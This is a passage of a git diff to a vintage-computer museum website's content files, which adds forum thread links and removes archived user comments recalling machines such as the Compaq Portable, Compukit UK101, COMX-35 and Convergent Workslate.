dissertation typed on a computer, but it was very difficult to do as there was no WYSIWYG. - - Still have it and it still works, although I haven''t used it in about 20+ years and now have only Apple machines. - - author: Joe (USA) - date: Monday 16th August 2010 - text: |- - I have a Compaq Plus (gold labels $ green screen) that is taking up space. Is there a market these machines?\ - Thank you. - - author: Mike Chambers (St. Louis, MO, USA) - date: Wednesday 19th May 2010 - text: |- - Great little piece of computing history here. I have one. In fact, it''s turned on right now! The hard drive magically still works. - - I installed an old NE1000 ethernet card, and am running an IRC server on it. No there weren''t any IRC server programs available for DOS. I had to write it from scratch. In QuickBASIC 7.1! Compiled to EXE of course. $-0 - - author: Mark Powell (England) - date: Sunday 23rd November 2008 - text: |- - Compaq made a ''tool'' to aid with the opening of the top cover. Basically a wedge of plastic. We found that if you lent on the Compaq logo and whacked the opposite side, the lid would spring off quite nicely. - - We also suffered ''Compaq finger'' as we called it - losing all the skin across our knuckles trying to gain access to the ISA slots or motherboard. The backs of those pcb''s HURT! - - author: Bill S. (Florida, USA) - date: Tuesday 17th June 2008 - text: We had one of these actually still in use in 2000/2001 as a data scope for telecommunications! Very robust system; ours had an amber monitor, however, not a green monitor. Didn't use it myself, but I knew what it was. - - author: Rob Pannett (Florida ) - date: Thursday 28th June 2007 - text: I used one of these in my first post-college job, starting in 1988. I am surprised now to learn that the machine was already several years old then! I would attach an external monitor to be able to program in color. Don't really remember having trouble with it, but my how time flies.. - - author: Dave Gibbons (USA) - date: Monday 13rd November 2006 - text: I owned a Portable as my first computer. I remember paying $2,400 for it with 256MB of RAM and two floppy drives. I I installed a small hard drive in it and eventually gave it to my neice who used it through college before it died. Since then, I found a Portable 286-12MHz that I still own. The keyboad is different with a larger "Enter" key, but otherwise it looks like the original Portable. I used my original Portable for work, but now the Portable 286 is usually only fired up to show friends the first computer game I ever played, "Adventure." My Portable 286 still works fine and is a multi-purpose machine in that it also holds doors open in even the strongest wind gusts. I would welcome donating it to a museum some day. - - author: Craig Buffington (New Jersey) - date: Saturday 8th April 2006 - text: Yes, we still have ours. It does not get as much use as it once did since we bought a newer model. Mostly it just collects dust now. - - author: D. White (MA) - date: Thursday 29th December 2005 - text: Don't laugh but we still use one here. But that may not last much longer as it is starting to show signs of impending doom. It is used as a data acquisition system for pressure and velocity measurements since the mid 80's in our laboratory. - - author: Dennis Littlefield (USA) - date: Wednesday 22nd June 2005 - text: I purchased a Portable in May 1983. It had the standard basic configuration of 128k memory and 2-360k floppies, Price was $4,000. It also had an AMBER monitor, the green screen was an option. Later, it was upgraded to 640K memory with an add-in 384K multi function memory card. Much Later, a CPU emulater card was installed to speed it up to a blazing 12Mhz and I also added a massive 20meg HardCard. This system still works fine running MS-DOS 6.2. Apps still installed are FoxPro, MS-Word, MS-Excel and several antique games. - - author: M. Ayers (North Carolina) - date: Thursday 6th November 2003 - text: We have four of these beauties, use to run heart rates on them, now they are just sitting around. related: - /museum/compaq-portable-386 - /museum/compaq-portable-ii diff --git a/content/museum/compucolor-corporation-8001-8051.md b/content/museum/compucolor-corporation-8001-8051.md index 77d9de0b..d495fad0 100644 --- a/content/museum/compucolor-corporation-8001-8051.md +++ b/content/museum/compucolor-corporation-8001-8051.md @@ -61,6 +61,7 @@ params: tabs: - photos - adverts + forum_thread: 556 photos: - title: COMPUCOLOR MANUALS subtitle: '' @@ -71,19 +72,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/compucolor_1_pub_1.jpg - comments: - - author: Chris (US) - date: Thursday 19th January 2023 - text: Keep in mind, that price equates to over $13,000 in 2023! You had to be \*dedicated\* back then to be a computer hobbyist. - - author: Achim (Germany/USA) - date: Thursday 24th June 2021 - text: One of the few systems I miss in my collection. If someone can offer one, please contact me via my website. - - author: Achim (Germany/USA) - date: Thursday 24th June 2021 - text: One of the few systems I miss in my collection. If someone can offer one, please contact me via my website. - - author: Oscar (United States of America) - date: Sunday 15th November 2015 - text: Nice ,Would be very interested buying one of these. oc_id: 565 source: url: https://web.archive.org/web/20230604082941/http://www.old-computers.com/museum/computer.asp?c=565 diff --git a/content/museum/compukit-uk-101.md b/content/museum/compukit-uk-101.md index 47669d15..940a7d4a 100644 --- a/content/museum/compukit-uk-101.md +++ b/content/museum/compukit-uk-101.md @@ -64,6 +64,7 @@ params: - photos - adverts - links + forum_thread: 783 photos: - title: IVAN'S SYSTEM subtitle: '' @@ -131,46 +132,6 @@ params: - title: Collection of UK101 programs (zip file) url: http://www.cse.dmu.ac.uk/~mward/martin/software/UK101-tapes.zip text: UK101 BASIC and assembler programs, recovered from tapes by Martin Ward - comments: - - author: Stephen Cole (United Kingdom) - date: Thursday 9th March 2023 - text: Myself and serveral others in the Reading UK area had these in the early 80''s, and did the ram, video, cassette hardware hacks etc. - - author: Peter Jones (United Kingdom) - date: Friday 17th February 2023 - text: '@Terry Brown. We might have met. I bought an Exidy Sorcerer from Chris in 1978 and visited the Barnet shop quite a lot after that. I remember sitting outside having a beer with Chris and he was saying that he was considering setting up a pirate TV station.' - - author: Mario (Switzerland) - date: Sunday 14th February 2021 - text: Hi! Is there anyone out there who owns a working Compukit UK101 computer and would be willing to sell it? Thanks - - author: Con Cunningham (Ireland) - date: Wednesday 22nd July 2020 - text: |- - @Terry - Chris Carey opened radio station in Dublin, and the folk involved set up a sales and support organisation run out of a very decrepit basement in Dublin city centre. I was studying CS in Trinity at the time, and used to work part-time for them, either soldering kits for purchasers, or fixing those that didn''t work. (Almost always bent pins on the ICs)\ - Those were some very happy days :-) - - author: terry brown (United Kingdom) - date: Thursday 23rd January 2020 - text: I worked at Comp shop New Barnet , selling these and helping pack them , its was run by Chris Carey great days - i then build and developed software for Nascom , i was 14 at the time - - author: Martin Ward - date: Thursday 28th August 2014 - text: Change the dollar sign to a hash sign in the URL''s below - - author: Martin Ward - date: Thursday 28th August 2014 - text: |- - If you have old software on cassette tape, which no longer loads, I have written a program which analyses the tape (saved as a wav file) and extracts the data: - - http://www.gkc.org.uk/martin/software/$CUTS - - My collection of Compukit UK101 software can be downloaded from here: - - http://www.gkc.org.uk/martin/software/$UK101 - - author: Holger Palmroth (Germany) - date: Wednesday 15th January 2014 - text: 'The URL of the DIY UK-101 has changed quite a while ago. Here is the current one: http://searle.hostei.com/grant/uk101/uk101.html' - - author: Stephen Burgoyne Coulson (UK) - date: Saturday 22nd November 2008 - text: Watford Electronics? That makes sense - as I rememeber buying and installing a new monitor ROM around 1981 is and I have the distinct memory that it was named WEMON. Needed a bit of board mod, trace cutting, extra wire. Provided full cursor control (you could print strings that would contain control characters to move your cursor around on the screen) and some other clever things that I can''t remember now. - - author: Simon Anthony (UK) - date: Sunday 5th December 2004 - text: Mine still works... A friend at the BBC made his work in colour... I wrote a space invaders game - four aliens... miss one and the 'bullet' got stuck in the code.... It crashed, list it and there was the bullet. (memory mapping the screen does that :>) BBC VT shift 1 was UK101 - Shift two was the Nascom machine I think. Shift one moved on to the BBC micro - then the Archimedes. Shift two went the IBM clone way. I was shift one - I loved my Risc OS - still use it whenever I can. Code is on my (aged) homepage. oc_id: 802 source: url: https://web.archive.org/web/20230602120509/http://www.old-computers.com/museum/computer.asp?c=802 diff --git a/content/museum/compumedic-analog-computer.md b/content/museum/compumedic-analog-computer.md index 7218a8ce..d9da122b 100644 --- a/content/museum/compumedic-analog-computer.md +++ b/content/museum/compumedic-analog-computer.md @@ -42,6 +42,7 @@ params: value: Built-in power supply unit tabs: - photos + forum_thread: 1077 photos: - title: LARGE VIEW subtitle: '' diff --git a/content/museum/compupro-system-816.md b/content/museum/compupro-system-816.md index 438deab8..bf38b933 100644 --- a/content/museum/compupro-system-816.md +++ b/content/museum/compupro-system-816.md @@ -60,6 +60,7 @@ params: - photos - adverts - hardware + forum_thread: 636 photos: - title: 'INSIDE #1' subtitle: '' @@ -135,35 +136,6 @@ params: subtitle: '' text: '' image: /media/museum/hardware/compupro_816_activecard_1.jpg - comments: - - author: Joel Jackson (United States) - date: Sunday 3rd July 2022 - text: I have a complete CompuPro 8/16 system that I would like to sell. I do not know if this is the proper forum for this. This belonged to my father and I am in the process of settling his estate. I have posted pictures of the system components. If anyone has any interest or advice on how to proceed, please feel free to contact me. - - author: Taraku (USA) - date: Sunday 24th April 2022 - text: I''m soon going to be working on the system, and will be doing upgrades to it as well. If everything goes well, I hope to start making videos online. I want to see if i can make a old computer do new tricks. as well as teach people 74 series logic. I hope to reach out to someone that may be willing to donate parts for this. I want to make a all original and one that is fully upgraded. I want to start with this system first because, not many people know what this pc is. - - author: Michael Louie (United States) - date: Sunday 3rd September 2017 - text: |- - William (Bill) Vaughn (Redmond, WA USA) - - If you are interested in getting rid of your Compupro Components, I would be interested in having them. - - I don''t know if this is allowed on this Forum, but I''ll post my email address for you to contact me. - - gohim@att.net - - author: Michael Louie (United States) - date: Sunday 3rd September 2017 - text: The 8085/8088 Dual Processor Board was also available in a 6Mhz/10Mhz Version, which is many times slower/slower in throughput than the 6Mhz 80286 3-cycle Processor Board that Compupro produced. The fastest 16-bit processor offered by Compupro was the 2-cycle 12Mhz 80286. Compupro went as far as putting the 80386 Processor onto the S-100 bus before the Company folded. The most advanced Operating System offered by Compupro was Digital Research''s Concurrent DOS, which could be configured for multi-processor, multitasking, multiuser operation with MSDOS compatibility. - - author: C H Jervey (South Carolina, USA) - date: Wednesday 30th August 2017 - text: |- - Minor correction. The dual processor card, "CompuPro 816", was a 6 Mhz 8085, 8 Mhz 8088 pair (only one processor active at a time). - - Typically used with either CP/M-86 (16 -bit CP/M, 8085 not used) or CompuPro''s "CP/M 8/16", a modified version of CP/M-86 that would automatically create an 8 bit CP/M instance and transfer control to the 8085 whenever the user launched an 8 bit program, and return control to the 8088 when the program ended. - - author: William (Bill) Vaughn (Redmond, WA USA) - date: Sunday 17th August 2014 - text: I have a CompuPro 8/16 used in the Digital Research Dallas sales office for about two years before being put in storage (in the mid 80''s). Is there interest in this system? It seems complete (with documentation). It includes a S100 card cage module (with power supply) and a dual-drive 8" floppy drive module. I also have unpacked about 500 lbs of documentation, manuals and CP/M boxed (and loose) software. oc_id: 651 source: url: https://web.archive.org/web/20230603023358/http://www.old-computers.com/museum/computer.asp?c=651 diff --git a/content/museum/computer-data-systems-versatile-2.md b/content/museum/computer-data-systems-versatile-2.md index c671c623..cd7590e4 100644 --- a/content/museum/computer-data-systems-versatile-2.md +++ b/content/museum/computer-data-systems-versatile-2.md @@ -44,6 +44,7 @@ params: value: CP/M tabs: - photos + forum_thread: 349 photos: - title: A SCREEN SHOT OF THE INVENTORY PROGRAM subtitle: '' @@ -53,15 +54,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/versatile2.jpg - comments: - - author: Bob (Middletown De) - date: Thursday 6th February 2014 - text: |- - What a time this was 1975 through 1982.\ - Those were the days. - - author: brandon boyer (deleware, usa) - date: Wednesday 13rd July 2011 - text: my dad just ordered a few BYTE magazines from 77'' his old company was CDS out wilmington DE and he had a few articles and ads in it. he told me they coldnt kee up with the orders that came in for all his models as they changed thru the years. oc_id: 345 source: url: https://web.archive.org/web/20230608084241/http://www.old-computers.com/museum/computer.asp?c=345 diff --git a/content/museum/computer-devices-incorporated-dot.md b/content/museum/computer-devices-incorporated-dot.md index 3632983c..5193ecf7 100644 --- a/content/museum/computer-devices-incorporated-dot.md +++ b/content/museum/computer-devices-incorporated-dot.md @@ -66,6 +66,7 @@ params: value: From $2995 to $3997, depending upon options tabs: - photos + forum_thread: 129 photos: - title: THE DOT COMPUTER subtitle: '' @@ -79,43 +80,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/cdi_dot_pub_2.jpg - comments: - - author: AutoFox (USA) - date: Tuesday 2nd February 2021 - text: I actually have one of these! Friend found it - of all places - in the attic of a Quaker meeting house, and gave it to me as I''m into old computer systems. It still boots, and the printer still works even! Sadly, the disk drives seem to be dead, so I can''t do much with it... - - author: Bob Gershaw (massachusetts) - date: Saturday 20th June 2015 - text: I worked on the development of the Sony drive interface unfortunately it was totally analog with plenty of problems and even though there was a chip set available which worked the management insisted on using the analog interface and pestered Sony to get the bugs out since it was a recommended circuit by them this caused long delays in its release and never worked right. It was kind of a cool design though. one problem the thermal paper''s txt faded quite quickly. I worked with Dave Epstien a great guy. Miss you dave. - - author: Paul D. Conley (Durant, OK) - date: Friday 29th May 2015 - text: I attempted to use the DOT Computer as the principle input/output device, to a Department of Defense Network computer program I designed! The DOT Computer, for all of the great designed elements, Portability, Printer, Sony disc drive, key board, Screen, was the best device for my program, with Packet-networking, to a network of 60 Sequent Computers, operating 386 Duel Unix system! I would have bought 1 Dot Computer for each Army Detachment or Company, which would have been 25,000 units! But alas, at the time when I went to Billerica, Massachusetts to present my program, Computer Devices was in Bankruptcy and had stored the production units away in a garage and could not (would not?) release the units to the US Army! - - author: Doug Connell (USA) - date: Wednesday 10th July 2013 - text: If anyone is interested I still have my DOT computer with reams of company software and the back up parts they sold as an extra. I last used it in 1997 as an office computer to track business expenses at a small business I had. Email:taxmannh@hotmail.com. Hate to see it be trashed. - - author: R Keith Beal (Irvine, Ca) - date: Wednesday 22nd February 2012 - text: |- - I was a developer on the Dot project.\ - The hardware was 100$ IBM PC-compatible.\ - To test it for compatibility they hired a typist to keyboard the BIOS source from the IBM PC Technical Reference.\ - We built it on an Intel MDS "Big Blue Box", burned EEPROMs and used it to qualify the hardware. - - Our team wrote the BIOS with the help of some contractors.\ - Two of the contractors later took the code and founded Phoenix Associates. - - It was the first computer to use the Sony 3.5 floppy. - - author: Bob Norman (USA) - date: Tuesday 4th October 2011 - text: This computer came out shortly after I left Computer Devices. They nicknamed it "DEC''s other terminal" as most of the top management came over when i left from DEC. It had real potential and the DOS was not cloned/copied from IBM (later a legal issue for Panasonic and others). CDI developed from scratch. The team later became Phoenix Bios developer, as i remember. BUT it was not 100$ IBM compatible BUT legal, BUT the world wanted 100$ (Flight Simulator test). So, it got little traction. It was also expensive but quality. - - author: Curtis Wilbar (MA, USA) - date: Tuesday 4th January 2011 - text: |- - No, the DOT is not 100$ compatable. DOT DOS 1.something was the version that shipped with these systems. There was an unreleased port of DOS 2.0. - - Besides some differences in video, as I understand it the BIOS was not 100$ compatible requiring software using (certain ?) BIOS calls to be ''ported''. - - author: Nick Robinson (Australia) - date: Monday 18th March 2002 - text: I would like to know if this Computer is 100% IBM PC Compatible? oc_id: 116 source: url: https://web.archive.org/web/20230330085435/http://www.old-computers.com/museum/computer.asp?c=116 diff --git a/content/museum/computer-devices-incorporated-miniterm.md b/content/museum/computer-devices-incorporated-miniterm.md index 70253ca0..c4fe8f0a 100644 --- a/content/museum/computer-devices-incorporated-miniterm.md +++ b/content/museum/computer-devices-incorporated-miniterm.md @@ -56,25 +56,7 @@ params: value: 132 column printer, alphanumeric bar-code reader, 1.44 MB disk drive. - label: PRICE value: About $5,000 - comments: - - author: s00nix (PA, USA) - date: Monday 27th June 2022 - text: I just picked up one of these, I am going to get it back to its operational condition, however it needs new belts. Anyone know where i could source them? shoot me a message at elitespoon at gmail. - - author: Skel (Canada) - date: Friday 3rd April 2015 - text: Yeah, 1.44MB DOES seems advanced for 1980. I had (and still have) a 80286 in 1989 with one but that was 1989, not 1980... maybe check that? - - author: Dave Asmann (PA, USA) - date: Friday 28th March 2014 - text: My dad was a survey statistician $ the data dept head for Booz Allen $ Hamilton in Philly. He forced them into the computer age during the 60''s $ 70''s. He brought one of these home (Blue/Grey) in 1978. He would telecommute to the Prime mainframe in their office and update his databases via the acoustic coupler. The CDI system in our house had no disk drive, but we had many, many, many microcassettes with all of our basic programs on them. I learned basic on this machine at the age of 7. I can''t tell you how valuable it was to be able to have this available at such a young age. If any of the developers, marketers, sellers of this system read this - thank you. While I am a Mechanical Engineer, I can tackle any programming issue i am faced with thanks to this little system. - - author: AtlasSoft (USA) - date: Friday 9th December 2005 - text: Sounds like it would be an interesting little machine to use... - - author: Ben Pazolli (Australia) - date: Friday 9th December 2005 - text: The article said that you could add a 1.44MB disk drive. Isn't that a bit advance for the 1980s. Can anyone confirm that. - - author: Christopher David Farrar (Lyman, Maine) - date: Wednesday 5th November 2003 - text: This computer was based on the 6800 microprocessor. I had one and an assembler for it on micro cassette. There were two versions. The first was blue and gray and had the microcassette for memory, the second was tan and orange and had bubble memory for storage. The tan one did not have the switch bay across the front. + forum_thread: 622 oc_id: 636 source: url: https://web.archive.org/web/20221205020435/http://www.old-computers.com/museum/computer.asp?c=636 diff --git a/content/museum/comx-world-operations-ltd-comx-35.md b/content/museum/comx-world-operations-ltd-comx-35.md index c1ec1314..09dd2ade 100644 --- a/content/museum/comx-world-operations-ltd-comx-35.md +++ b/content/museum/comx-world-operations-ltd-comx-35.md @@ -72,6 +72,7 @@ params: - software - emulators - links + forum_thread: 124 photos: - title: COMX-35 subtitle: '' @@ -129,74 +130,6 @@ params: - title: COMX club - Nederland url: http://www.comxclub.hobby-site.com/ text: Simple page with contacts of the Club - comments: - - author: Joey Rivers (Australia) - date: Friday 30th December 2011 - text: COMX-35 was my first computer when i was in the airforce in 1983. If memory serves me correctly I paid $299 including a tape of "100 Free Games". These turned out to be a home made cassette of very basic "BASIC" games. I think I bought one commercial game COMX INvaders. I remember trying to justify my purchase at the time by boasting about the built in Joystick and the powerful interrupt driven command in the BASIC. Regrettably it was not well supported at the time and I sold it a couple months later for $200 which I put towards my C64. But thats another story! - - author: COMX CLUB Netherlands (The Netherlands, Nijmegen) - date: Monday 21st May 2007 - text: The Club is going very well, a emulator is in the process of building and the website is finally done. Feel free to post your info, comment of suggestions to me. Address and numbers can be found on the contactpage. - - author: Qedqubit ((Netherlands)) - date: Friday 23rd February 2007 - text: it appeared in 1979, it was the 1st computer i saw, my teacher typed 10 print "the teach is crazy" ande explained that adding a semi colon caused the words to be printed along the line instead of on the nexxt line if you added 20 goto 10. i was hooked, 2 years l8r i convinced my father to buy a timex sinclkair 1000, the 1st day appeared in 1981 in holland - - author: Juha (Finland) - date: Thursday 8th February 2007 - text: I made a finding a year ago from a basement of a old store. I found 20 boxed COMX-35's, 15 casette recorders and 10 "Fantasticks" ... if you are interested in you can contact me :-) - - author: Hudson (USA) - date: Tuesday 16th January 2007 - text: 'I bought my first PC in 1983 - a COMX 35. Comparing to the Apple IIe at that time, it came with some interesting features: 1. You don''t need a dedicate monitor - your TV is your COLOR monitor! No, you don''t need a color display card. 2. If you have a walkman and a blank cassette tape, you get your I/O and storage device! (if you don''t mind to wait for 10 min. to load a simple, stupid game). 3. Built-in joystick (my newest Dell don''t even have one included!)' - - author: Dennis Heijmans (The Netherlands) - date: Saturday 2nd September 2006 - text: I'm start a club for people who are still owning and/or using the COMX-35. Everybody with ideas or interest kan email of fax. See the homepage for more info. - - author: Marcel van Tongeren (Sweden) - date: Tuesday 28th March 2006 - text: A beta version of a COMX emulator is available, have a look at http://www.elf-emulation.com/. At this moment the site only has a unix/linux version however I have managed to compile it on windows. Let me know if you want a copy of the exe. Note a comx rom image is needed to run the emulator. Thanks a lot Mike! - - author: Dennis Heijmans (Nijmegen, Nederland) - date: Sunday 5th June 2005 - text: |- - My father bought the COMX-35 in 1983 en we both enjoined it very much over the time. Later he bought also a PC-1 model and en FDD controller with two 360k drives.\ - These last items are my problem right now.\ - I am using the COMX again, but the master disk for the COMX DOS system is missing, so i can't use any floppy disk anymore !\ - The master disk is needed to format a disk so you can put software and data on it.\ - When anyone can help me, i would really appreciate it and am willing to trade it for copies of software on cassette and/or disk. I have a lot of tapes with original programs, games and even listing on paper ! Also almost all of the comx-club editions are in my possession. HELP ME ! PLEASE ! - - author: Anonymous (Finland) - date: Wednesday 21st July 2004 - text: If an emulator is to be written, a dump of the COMX-35 operating system ROM is essential and must be acquired by way of an EPROM reader. Without it nothing can be done as to emulating the machine. A framework for easy emulator development called MESS (www.mess.org) would preferably be used as it contains a ready CDP1802 cpu core and other facilities that greatly ease the development process. - - author: Barend Scholtus (Holland) - date: Monday 8th March 2004 - text: |- - The COMX35 is the first home computer my father bought and it is the first computer on which I learned to program. I remember spending hours and hours trying to figure out how to get a bulleton the screen with CPOS. I was too young (7 or 8?) to read the English manual. - - We had a game with a horse race. Nice. We also had a game with a submarine that needs to shoot oil carriers and others boats and even helicopters from the air. I remember that once I played a single game for so long that I got unlimited lives. That must have been a bug though. - - Anyway, I haven't seen any COMX35 emulators around and that's a big pity. I also don't have a COMX35 myself. I would be interested in writing an emulator myself, since I'm a software engineer anyway. I'm also interested in having a COMX35 again. But no idea where to start. - - author: Peter (Australia) - date: Saturday 17th January 2004 - text: |- - Hi guys and gals, I have a wonderful Comx 35 computer. I used to do all sorts of stuff like, program games, music and graphics. Not hi-res graphics but character graphics using the SHAPE command. Just loved the Comx35 when redefining characters the screen would flicker and give you a head rush. Music was great too, 2 sound channels using the MUSIC command ( square wave ) and the NOISE command for drums. It sound very sad but it worked. - - Playing the game from Comex like SHOOT N RUN and WORM were my favoriots. We did have more but can't find them now. I still have the comx 35 with manual etc but I beleive it has a memory fault. - - Anyway just my contribution to a fantastic 35k cpu 1802 1Mhz computer. The 8 colours weren't bad either.\ - Peter - - author: Peter Schijven (Netherlands) - date: Thursday 12th June 2003 - text: My brother (who is 12 yeard older than i am) had one. Later he bought the COMX-PC1 and he sold the COMX-35 to a neightbour (Zoetie). - - author: Yariv (ISRAEL) - date: Sunday 12th January 2003 - text: I have a COMX-35 in the box with the original manual and software takes (2 of them). i collect old stuff and got this thing couple of months ago but i didn't bother to play with it yet. It has even a translation of the manual to Hebrew. By looking in the manual it seems like it has a very limited basic. - - author: Martin Persson (Sweden) - date: Saturday 5th October 2002 - text: |- - There is a Swedish webpage about old computers who have a page about the COMX-35.\ - The info is in Swedish but there is a copy of a test from a computer magasine thats in English. - - http://home.bip.net/peter.kiefer/comx35_2.htm - - author: Roelf Brouwer (Holland) - date: Wednesday 7th August 2002 - text: |- - I have a comx-35 with an interface and printer. Everything in original. Mmm, what can I say about the comx-35. My fahter had a photo shop. And he was joingning a group what now still excist in the photo-branche. The name is called 'Combi-Foto'.\ - These goup has bring the COMX-35 exclusevly on the market. With basic-learning books and the software was atended to be free. Well, you should share listings of basic-programms. So, the comx35 was marketing here as a computer for and by the users. You know, when you put on the comx-35 you get a sound? Or if you reset. It's a nice ding-dong-dong. I have not so much programmed with the comx-35 I was more the ZX-Spectrum fan and later the Amiga 500. Well, for a few years ago I buyed a TRS-80 Model-1. The computer what infected me with my hobby. I was only 11! Now I am 33 and have still a lot of fun with them. software: - /software/get-your-gadget oc_id: 110 diff --git a/content/museum/concept-2000-spectrum-6.md b/content/museum/concept-2000-spectrum-6.md index dbb229ad..7b39a243 100644 --- a/content/museum/concept-2000-spectrum-6.md +++ b/content/museum/concept-2000-spectrum-6.md @@ -46,28 +46,12 @@ params: value: 'No' tabs: - photos + forum_thread: 661 photos: - title: INSIDE subtitle: '' text: '' image: /media/museum/photos/concept2000_spectrum-6_inside.jpg - comments: - - author: Dennis P. (USA) - date: Friday 26th January 2018 - text: |- - I have a version of this game from the US. It''s marked on the back. - - Model number 1025\ - FCC type apparatus number TV-382\ - Valid only when operated according to FCC rules., part 15.\ - Manufactured for Concept 2000\ - North Miami, FL 33151\ - Made in Hong Kong. - - I suspect that these were made for a brief period of time, but imported into the US market as well. - - author: Josh (United States) - date: Monday 7th May 2012 - text: How much is the Concept 2000 Spectrum 6 Full color Video game worth??? Model number 1025 oc_id: 677 source: url: https://web.archive.org/web/20230613001158/http://www.old-computers.com/museum/computer.asp?c=677 diff --git a/content/museum/conic-tv-sports-tg-621.md b/content/museum/conic-tv-sports-tg-621.md index 5157b6a0..7393e9e8 100644 --- a/content/museum/conic-tv-sports-tg-621.md +++ b/content/museum/conic-tv-sports-tg-621.md @@ -50,6 +50,7 @@ params: - photos - emulators - links + forum_thread: 662 photos: - title: PADDLES subtitle: '' @@ -84,32 +85,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Micke (Sweden) - date: Sunday 21st April 2013 - text: |- - Hello,\ - I am cleaning out some old things and I was wandering\ - if Conic TVG-202 console is worth anything?\ - Regards\ - Michael - - author: Niklas Forss (Sweden) - date: Monday 19th June 2006 - text: |- - How much could one get when trying to sell a ConicTv sports TG-621? In my case, i don't have the original box for the system...so, i I guess it won't be worth a lot. Still, if anybody knows of anything, maybe a site where I can find this information, please let me know. - - Thanks :) - - author: Carlo Pescatori (Venezia, Italy) - date: Friday 24th February 2006 - text: Hello! I own a Conic TV Sports TG-621 pong. An electric chock damaged it and I want to repair it but no components can be found around anymore. Does anyone have a broken one I can use for parts? I need some components on the integrated circuit that were burned, a diod and one of those lottle black cylinders with three contacts connected to the circuit. Sorry I'm not an expert, thanks everybody! - - author: Olivier (France) - date: Thursday 8th January 2004 - text: Sadly, pong systems arn't worth much these days, specially systems produced at a large scale like the ConicTV Sports TG-621... this is a common system... - - author: M.Marino (Germany) - date: Saturday 27th December 2003 - text: |- - Hallo, first i want to say :sorry for my bat english.\ - I need an Information. i own 25 or 30 old gaming-consoles since 1977 Model conic TG-621 in original package. is there enybody who have interess for it ? is it from high value? related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/conic-tvg-209.md b/content/museum/conic-tvg-209.md index 1a166fd1..2ef75bc8 100644 --- a/content/museum/conic-tvg-209.md +++ b/content/museum/conic-tvg-209.md @@ -50,6 +50,7 @@ params: - photos - emulators - links + forum_thread: 663 photos: - title: UNDER THE UNIT subtitle: '' @@ -80,10 +81,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Rob (UK) - date: Monday 15th February 2021 - text: I have an unbranded pong console which is clearly identical to this model, although I cannot find a reference to its given model number ("TVG-2001" as opposed to "TVG-209") anywhere . The manual is indeed in German and English (rather poorly translated). There is no identification of the manufacturer anywhere on the packaging or documentation. related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/conitec-prof80.md b/content/museum/conitec-prof80.md index 84c3bb8d..86159c8c 100644 --- a/content/museum/conitec-prof80.md +++ b/content/museum/conitec-prof80.md @@ -64,6 +64,7 @@ params: - photos - adverts - links + forum_thread: 966 photos: - title: COMPLETE SYSTEM subtitle: '' @@ -118,14 +119,6 @@ params: - title: Prof 80 - ein CP/M 3 System url: http://www.prof80.de text: more information about the Prof 80 card and expansions (German page) - comments: - - author: Fred Jan Kraan (Netherlands) - date: Wednesday 25th July 2012 - text: |- - There were actually two computer systems with the name PROF80:\ - \- The German Comitec system, which was an ECB-bus based Eurocard (optional graphics board).\ - \- The French Pentasonic system which was a TRS-80 Model III clone. This is the displayed system.\ - There also was a compatible small interface named PROF80 for the TRS-80 Model I and III to be placed between the main board and the CPU, which added an boot menu and RAM bank switching. This allowed CP/M on these machines. The bank switching is different than the LNW-scheme. oc_id: 992 source: url: https://web.archive.org/web/20230607181902/http://www.old-computers.com/museum/computer.asp?c=992 diff --git a/content/museum/continental-edison-saba-ordinateur-video-jeu-jo-1450-jopac.md b/content/museum/continental-edison-saba-ordinateur-video-jeu-jo-1450-jopac.md index 8db74ff1..c4cd8e89 100644 --- a/content/museum/continental-edison-saba-ordinateur-video-jeu-jo-1450-jopac.md +++ b/content/museum/continental-edison-saba-ordinateur-video-jeu-jo-1450-jopac.md @@ -13,6 +13,7 @@ params: - connectors - emulators - links + forum_thread: 1094 photos: - title: JOPAC JO 1450 subtitle: '' @@ -97,10 +98,6 @@ params: - title: www.videopac.org url: http://www.videopac.org/ text: Excellent site ! Everything Videopac is here ! - comments: - - author: rod (canada) - date: Friday 24th August 2018 - text: Kind of looks like an Odyssey 2 that happened to be ran over by a steamroller. I wonder if it''s also compatible with that console''s games as well. related: - /museum/brandt-electronique-ordinateur-de-jeu-jo7400-jopac - /museum/magnavox-odyssey2 diff --git a/content/museum/convergent-technologies-workslate.md b/content/museum/convergent-technologies-workslate.md index 65a8d418..2d6043ae 100644 --- a/content/museum/convergent-technologies-workslate.md +++ b/content/museum/convergent-technologies-workslate.md @@ -63,6 +63,7 @@ params: tabs: - photos - hardware + forum_thread: 871 photos: - title: LARGE VIEW subtitle: '' @@ -128,149 +129,6 @@ params: subtitle: 40 column printer text: Thanks to **John Demian** image: /media/museum/hardware/convergent_workslate_printer_s1.jpg - comments: - - author: Sharon (USA) - date: Monday 16th January 2023 - text: I actually worked at Convergent manufacturing facility in Santa Clara as a quality inspector, this product was such a jewel before its time! I have 2 complete functional units, printers, all in original cases, user manuals etc. - - author: Tami Whelan (California ) - date: Friday 6th April 2018 - text: OMG I used to be the only technician at a company called PBDS in Dublin Ca that used to fix the workslates!! Was well before its time! - - author: Gerald Hawkins (California - United States) - date: Wednesday 27th June 2012 - text: |- - I worked at Convergent Technologies from 1980 until 1991. The Workslate was notable as an early user of surface-mount technology. It was Convergent''s first use of SMT. - - The Workslate is also notable because before its introduction, Convergent could do (almost) no wrong. Everything we made sold like crazy. After the failure of the Workslate and the almost simultaneous failure of a customized Unix workstation for AT$T, it seemed we couldn''t do much of anything right. The company was sold to Unisys in 1988 and most of what remained of it was disappearing by the time I left in 1991. - - Despite all that, the Workslate was a remarkable first step into tablet computing. If it had offered BASIC programming and had a word processor, it may have succeeded. (It is hard to imagine, but in 1985 people really, really wanted BASIC$ and the inclusion of a word processor was considered too premium at that time.) - - author: Ken Wood (USA) - date: Friday 6th June 2008 - text: |- - I was a Convergent OEM in the early 1980's. I have a complete WorkSlate system including the Parallel port adapter and battery pack (needs new batts) I even have the classy leather poutch.\ - I bought it new for $1200 and I was an OEM. Convergent really screwed up on the marketing of this product. Some genius talked Convergent into marketing this totally new product through American Express instead of their OEMs. How dumb was that? If they had gone to the OEMs they would have sold a ton. - - If you notice the keyboard has a "DoIt" key. The President of the fledgling company Allen Michaels used to roam the halls of the company at night and spray paint "DoIT" 